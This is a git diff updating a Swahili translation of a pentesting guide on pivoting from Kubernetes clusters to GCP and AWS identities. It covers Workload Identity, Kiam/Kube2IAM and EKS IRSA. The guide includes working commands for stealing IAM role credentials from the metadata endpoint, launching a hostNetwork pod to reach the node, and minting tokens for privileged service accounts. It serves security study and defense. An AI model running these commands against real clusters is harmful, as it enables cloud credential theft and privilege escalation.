Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-piv

This commit is contained in:
Translator
2025-08-28 18:03:00 +00:00
parent 011a9cd051
commit 0123c3db44
@@ -4,62 +4,62 @@
## GCP
Ikiwa unafanya kazi na k8s cluster ndani ya GCP, huenda ukataka kwamba programu fulani inayofanya kazi ndani ya cluster iwe na ufikiaji wa GCP. Kuna njia 2 za kawaida za kufanya hivyo:
Ikiwa unaendesha k8s cluster ndani ya GCP, labda utataka baadhi ya programu zinazotumika ndani ya cluster ziwe na ufikiaji wa GCP. Kuna njia 2 za kawaida za kufanya hivyo:
### Mounting GCP-SA keys as secret
Njia ya kawaida ya kutoa **ufikiaji kwa programu ya kubernetes kwa GCP** ni:
Njia ya kawaida ya kumpa **access to a kubernetes application to GCP** ni:
- Kuunda GCP Service Account
- Kuunganisha ruhusa zinazohitajika
- Kupakua ufunguo wa json wa SA iliyoundwa
- Kuunganisha kama siri ndani ya pod
- Kuweka mabadiliko ya mazingira ya GOOGLE_APPLICATION_CREDENTIALS yanayoelekeza kwenye njia ambapo json iko.
- Unda a GCP Service Account
- Ibandike ruhusa zinazohitajika kwake
- Pakua json key ya SA uliyoitengeneza
- Iweke kama secret ndani ya pod
- Weka environment variable GOOGLE_APPLICATION_CREDENTIALS ikielekeza kwenye path ambapo json iko.
> [!WARNING]
> Kwa hivyo, kama **mshambuliaji**, ikiwa unaharibu kontena ndani ya pod, unapaswa kuangalia **env** **variable** na **json** **files** zenye akreditivu za GCP.
> Kwa hiyo, kama **attacker**, ukifanikiwa compromise container ndani ya pod, unapaswa kuangalia ile **env** **variable** na **json** **files** zenye GCP credentials.
### Relating GSA json to KSA secret
Njia ya kutoa ufikiaji kwa GSA kwa GKE cluser ni kwa kuziunganisha kwa njia hii:
Njia ya kumpa GSA access kwa GKE cluser ni kwa ku-bind kwa njia hii:
- Kuunda akaunti ya huduma ya Kubernetes katika namespace sawa na GKE cluster yako kwa kutumia amri ifuatayo:
- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
```bash
Copy codekubectl create serviceaccount <service-account-name>
kubectl create serviceaccount <service-account-name>
```
- Unda Siri ya Kubernetes inayoshikilia hati za akaunti ya huduma ya GCP unayotaka kutoa ufikiaji kwa klasta ya GKE. Unaweza kufanya hivyo kwa kutumia zana ya amri ya `gcloud`, kama inavyoonyeshwa katika mfano ufuatao:
- Unda Kubernetes Secret inayojumuisha nyaraka za uthibitisho za GCP service account unayotaka kumpa ufikiaji kwa GKE cluster. Unaweza kufanya hivyo kwa kutumia zana ya mistari ya amri `gcloud`, kama inavyoonyeshwa kwenye mfano ufuatao:
```bash
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
```
- Fungua Siri ya Kubernetes kwa akaunti ya huduma ya Kubernetes ukitumia amri ifuatayo:
- Ambatanisha Kubernetes Secret kwa Kubernetes service account kwa kutumia amri ifuatayo:
```bash
Copy codekubectl annotate serviceaccount <service-account-name> \
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
```
> [!WARNING]
> Katika **hatua ya pili** ilipangwa **akili za GSA kama siri ya KSA**. Kisha, ikiwa unaweza **kusoma hiyo siri** kutoka **ndani** ya **GKE** klasta, unaweza **kuinua hadi hiyo GCP huduma akaunti**.
> Katika **hatua ya pili** ilibidi kuwekwa **credentials za GSA kama secret ya KSA**. Kisha, ikiwa unaweza **kusoma secret hiyo** kutoka **ndani** ya klasta ya **GKE**, unaweza **escalate kwa GCP service account hiyo**.
### GKE Workload Identity
Kwa Workload Identity, tunaweza kuunda [Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) ili kutenda kama [Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods zinazotembea na Kubernetes service account zitauthenticate kiotomatiki kama Google service account wanapofikia Google Cloud APIs.
Kwa Workload Identity, tunaweza kusanidi a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) ili itumike kama a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods zinazoendesha kwa Kubernetes service account zitatumia utambulisho wa Google service account kwa kiotomatiki wanapofikia Google Cloud APIs.
Mfululizo wa **hatua za kwanza** za kuwezesha tabia hii ni **kuwezesha Workload Identity katika GCP** ([**hatua**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) na kuunda GCP SA unayotaka k8s kuiga.
Mfululizo wa **hatua za kwanza** za kuwezesha tabia hii ni **kuwezesha Workload Identity katika GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) na kuunda GCP SA unayotaka k8s iiganie.
- **Washa Workload Identity** kwenye klasta mpya
- **Enable Workload Identity** on a new cluster
```bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
```
- **Unda/Sasisha nodepool mpya** (Vikundi vya Autopilot havihitaji hili)
- **Tengeneza/Sasisha nodepool mpya** (Autopilot clusters hazihitaji hili)
```bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
```
- Unda **GCP Service Account ya kuiga** kutoka K8s yenye ruhusa za GCP:
- Unda **GCP Service Account to impersonate** kutoka K8s yenye ruhusa za GCP:
```bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
@@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
```
- **Unganisha** na **klasta** na **unda** akaunti ya **huduma** kutumia
- **Ungana** na **cluster** na **unda** **service account** itakayotumiwa
```bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
@@ -80,7 +80,7 @@ kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
```
- **Funga GSA na KSA**
- **Unganisha GSA na KSA**
```bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
@@ -92,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
```
- Kimbia **pod** na **KSA** na angalia **ufikiaji** kwa **GSA:**
- Endesha **pod** kwa kutumia **KSA** na angalia **access** kwa **GSA:**
```bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
@@ -118,15 +118,15 @@ kubectl exec -it workload-identity-test \
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
```
Angalia amri ifuatayo kuthibitisha ikiwa inahitajika:
Angalia amri ifuatayo ili kuthibitisha utambulisho ikiwa itahitajika:
```bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```
> [!WARNING]
> Kama mshambuliaji ndani ya K8s unapaswa **kutafuta SAs** zenye **`iam.gke.io/gcp-service-account` annotation** kwani hiyo inaonyesha kwamba SA inaweza kufikia kitu katika GCP. Chaguo lingine lingekuwa kujaribu kutumia kila KSA katika klasta na kuangalia kama ina ufikiaji.\
> Kutoka GCP daima ni ya kuvutia kuorodhesha viunganishi na kujua **ni ufikiaji gani unatoa kwa SAs ndani ya Kubernetes**.
> Kama mshambulizi ndani ya K8s unapaswa **kutafuta SAs** zenye **`iam.gke.io/gcp-service-account` annotation** kwani hiyo inaonyesha kwamba SA inaweza kupata kitu katika GCP. Chaguo jingine ni kujaribu kutumia kila KSA kwenye cluster na kukagua kama ina ufikiaji.\
> Kutoka GCP kila wakati ni muhimu kuorodhesha bindings na kujua **ni ufikiaji gani unaowapa SAs ndani ya Kubernetes**.
Hii ni script ya urahisi **kuzunguka juu ya maelezo yote ya pods** **ikiangalia** hiyo **annotation**:
Hii ni script rahisi ya **kupitia definitions zote za pods** na **kutafuta** ile **annotation**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account"
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
Njia (ya zamani) ya kutoa IAM Roles kwa Pods ni kutumia [**Kiam**](https://github.com/uswitch/kiam) au [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Kimsingi, unahitaji kuendesha **daemonset** katika klasta yako yenye **aina ya IAM role yenye mamlaka.** Hii daemonset itakuwa ile itakayotoa ufikiaji wa IAM roles kwa pods zinazohitaji.
An (outdated) way to give IAM Roles to Pods is to use a [**Kiam**](https://github.com/uswitch/kiam) or a [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Kimsingi utahitaji kuendesha **daemonset** katika cluster yako ikiwa na aina ya **privileged IAM role**. Huo daemonset ndio utakaotoa ufikiaji wa IAM roles kwa pods zinazohitaji.
Kwanza kabisa, unahitaji kusanidi **ni roles zipi zinaweza kufikiwa ndani ya namespace**, na unafanya hivyo kwa kutumia annotation ndani ya kitu cha namespace:
Kwanza kabisa unahitaji kusanidi **which roles can be accessed inside the namespace**, na unafanya hivyo kwa annotation ndani ya namespace object:
```yaml:Kiam
kind: Namespace
metadata:
@@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
Mara tu namespace imewekwa na majukumu ya IAM, Pods zinaweza kuwa na **onyesha jukumu unalotaka kwenye kila ufafanuzi wa pod kwa kitu kama**:
Mara namespace imewekwa na IAM roles ambazo Pods zinaweza kuwa nazo, unaweza **ainisha role unayotaka kwenye kila pod definition kwa kitu kama**:
```yaml:Kiam & Kube2iam
kind: Pod
metadata:
@@ -171,12 +171,12 @@ annotations:
iam.amazonaws.com/role: reportingdb-reader
```
> [!WARNING]
> Kama mshambuliaji, ikiwa **utapata hizi alama** katika pods au namespaces au seva ya kiam/kube2iam inayoendesha (katika kube-system labda) unaweza **kujifanya kuwa kila r**oli ambayo tayari **inatumiwa na pods** na zaidi (ikiwa una ufikiaji wa akaunti ya AWS orodhesha majukumu).
> Kama mshambuliaji, ikiwa **kupata annotations hizi** katika pods au namespaces au seva ya kiam/kube2iam inayokimbia (labda ndani ya kube-system) unaweza **kuigiza kila r**ole ambayo tayari **kutumika na pods** na zaidi (ikiwa una ufikiaji wa akaunti ya AWS, orodhesha roles).
#### Unda Pod na IAM Role
#### Create Pod with IAM Role
> [!NOTE]
> IAM role ambayo inapaswa kuonyeshwa lazima iwe katika akaunti hiyo hiyo ya AWS kama ile ya kiam/kube2iam na hiyo role lazima iweze kuipata.
> Role ya IAM inayotajwa lazima iwe katika akaunti ile ile ya AWS kama role ya kiam/kube2iam, na role hiyo ya kiam/kube2iam lazima iweze kuifikia.
```yaml
echo 'apiVersion: v1
kind: Pod
@@ -196,10 +196,10 @@ args: ["-c", "sleep 100000"]' | kubectl apply -f -
Hii ndiyo **njia inayopendekezwa na AWS**.
1. Kwanza kabisa unahitaji [kuunda mtoa huduma wa OIDC kwa klasta](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Kisha unaunda jukumu la IAM lenye ruhusa ambazo SA itahitaji.
3. Unda [uhusiano wa kuaminiana kati ya jukumu la IAM na SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) jina (au majina ya namespaces yanayotoa ufikiaji kwa jukumu kwa SAs wote wa namespace). _Uhusiano wa kuaminiana utaangalia hasa jina la mtoa huduma wa OIDC, jina la namespace na jina la SA_.
4. Hatimaye, **unda SA yenye annotation inayoashiria ARN ya jukumu**, na pods zinazotembea na SA hiyo zitakuwa na **ufikiaji wa token ya jukumu**. **Token** imeandikwa ndani ya faili na njia imeainishwa katika **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
1. Kwanza kabisa unahitaji [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Kisha unaunda IAM role yenye ruhusa ambazo SA itahitaji.
3. Tengeneza [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (au namespaces zinazomuwezesha role kupata ufikiaji kwa SAs zote za namespace). _Uhusiano wa kuaminiana utachunguza hasa jina la OIDC provider, jina la namespace na jina la SA_.
4. Mwishowe, **unda SA yenye annotation inayobainisha ARN ya role**, na pods zinazotekelezwa na SA hiyo zitakuwa na **ufikiaji wa token ya role**. The **token** imeandikwa ndani ya faili na path imeainishwa katika **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
@@ -221,22 +221,22 @@ Ili **kupata aws kwa kutumia token** kutoka `/var/run/secrets/eks.amazonaws.com/
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```
> [!WARNING]
> Kama mshambuliaji, ikiwa unaweza kuhesabu klasta ya K8s, angalia **akaunti za huduma zenye anoteshoni hiyo** ili **kuinua hadi AWS**. Kufanya hivyo, tu **exec/create** **pod** ukitumia moja ya **akaunti za huduma zenye mamlaka** na kuiba tokeni.
> Kama mshambuliaji, ikiwa unaweza kuorodhesha cluster ya K8s, angalia **service accounts with that annotation** ili **escalate to AWS**. Kufanya hivyo, fanya tu **exec/create** **pod** ukitumia moja ya IAM **privileged service accounts** na kuiba token.
>
> Zaidi ya hayo, ikiwa uko ndani ya pod, angalia kwa mabadiliko ya mazingira kama **AWS_ROLE_ARN** na **AWS_WEB_IDENTITY_TOKEN.**
> Zaidi, ikiwa uko ndani ya pod, angalia env variables kama **AWS_ROLE_ARN** na **AWS_WEB_IDENTITY_TOKEN.**
> [!CAUTION]
> Wakati mwingine **Sera ya Uaminifu ya jukumu** inaweza kuwa **imewekwa vibaya** na badala ya kutoa ufikiaji wa AssumeRole kwa akaunti ya huduma inayotarajiwa, inatoa kwa **akaunti zote za huduma**. Hivyo, ikiwa unaweza kuandika anoteshoni kwenye akaunti ya huduma iliyodhibitiwa, unaweza kufikia jukumu.
> Wakati mwingine **Turst Policy of a role** inaweza kuwa **bad configured** na badala ya kutoa AssumeRole access kwa service account iliyotarajiwa, inatoa kwa **all the service accounts**. Kwa hivyo, ikiwa unaweza kuandika annotation kwenye service account unayodhibiti, unaweza kupata access kwa role.
>
> Angalia **ukurasa ufuatao kwa maelezo zaidi**:
> Angalia **ukurasa ufuatao kwa taarifa zaidi**:
{{#ref}}
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
### Pata Pods a SAs zenye IAM Roles katika Klasta
### Pata Pods na SAs zenye IAM Roles katika Cluster
Hii ni skripti ya urahisi **kuzunguka juu ya pods zote na maelezo ya sas** **ikiangalia** anoteshoni hiyo:
Hii ni script ya kwa urahisi ku-**iterate over the all the pods and sas** definitions **looking** for that **annotation**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -253,19 +253,26 @@ echo ""
done
done | grep -B 1 "amazonaws.com"
```
### Node IAM Role
### Node IAM Role kwa cluster-admin
Sehemu iliyopita ilikuwa kuhusu jinsi ya kuiba IAM Roles kwa kutumia pods, lakini kumbuka kwamba **Node ya** K8s cluster itakuwa **kifaa ndani ya wingu**. Hii ina maana kwamba Node ina uwezekano mkubwa wa **kuwa na IAM role mpya ambayo unaweza kuiba** (_kumbuka kwamba kwa kawaida nodes zote za K8s cluster zitakuwa na IAM role sawa, hivyo huenda isiwe na maana kujaribu kuangalia kwenye kila node_).
Sehemu iliyopita ilikuwa kuhusu jinsi ya kuiba IAM Roles kwa pods, lakini kumbuka kwamba **Node of the** K8s cluster itakuwa **instance inside the cloud**. Hii inamaanisha kwamba Node ina uwezekano mkubwa wa kuwa **na IAM role unayoweza kuiba** (_kumbuka kwamba kawaida nodes zote za K8s cluster zitakuwa na IAM role ile ile, hivyo inaweza kuwa haifai kujaribu kuangalia kila node_).
Hata hivyo, kuna hitaji muhimu ili kufikia metadata endpoint kutoka kwa node, unahitaji kuwa kwenye node (ssh session?) au angalau kuwa na mtandao sawa:
Ili kufikia node metadata endpoint unahitaji:
- Kuwa katika pod na kuwa metadata endpoint imewekwa iwe angalau 2 tcp hops. Hii ni misconfiguration ya kawaida zaidi kwani kawaida pods tofauti ndani ya cluster zitahitaji access kwa metadata endpoint ili kutoathiri kazi, na kampuni kadhaa huchagua kuruhusu access kwa metadata endpoint kutoka kwa pods zote ndani ya cluster.
- Kuwa katika pod yenye `hostNetwork` enabled.
- Toroka hadi node na ufikie metadata endpoint moja kwa moja.
(Kumbuka kwamba metadata endpoint iko 169.254.169.254 kama kawaida).
Ili **toroka hadi node** unaweza kutumia amri ifuatayo kuendesha pod yenye `hostNetwork` enabled:
```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```
### Kununua Token ya IAM Role
### Steal IAM Role Token
Awali tulijadili jinsi ya **kuunganisha IAM Roles kwa Pods** au hata jinsi ya **kutoroka hadi Node ili kununua IAM Role** ambayo mfano umeunganishwa nayo.
Awali tumejadili jinsi ya **attach IAM Roles to Pods** au hata jinsi ya **escape to the Node to steal the IAM Role** ambayo imeambatishwa kwenye instance.
Unaweza kutumia skripti ifuatayo ili **kununua** akiba yako mpya ya **IAM role credentials**:
Unaweza kutumia script ifuatayo ili **steal** vigezo vyako vipya vya **IAM role credentials**:
```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
@@ -276,7 +283,20 @@ curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE
fi
fi
```
## Marejeleo
### Privesc to cluster-admin
Kwa muhtasari: ikiwa inawezekana **kupata EKS Node IAM role** kutoka kwenye pod, inawezekana **kupata udhibiti wa jumla wa kubernetes cluster**.
For more info check [this post](https://blog.calif.io/p/privilege-escalation-in-eks). As summary, the default IAM EKS role that is assigned to the EKS nodes by default is assigned the role `system:node` inside the cluster. This role is very interesting although is limited by the kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
Hata hivyo, node inaweza kila wakati **kutengeneza tokens kwa service accounts** zinazoendesha kwenye pods ndani ya node. Kwa hivyo, ikiwa node inaendesha pod yenye privileged service account, node inaweza kutengeneza token kwa service account hiyo na kuitumia kujigiza service account hiyo kama ifuatavyo:
```bash
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
```
## Marejeo
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)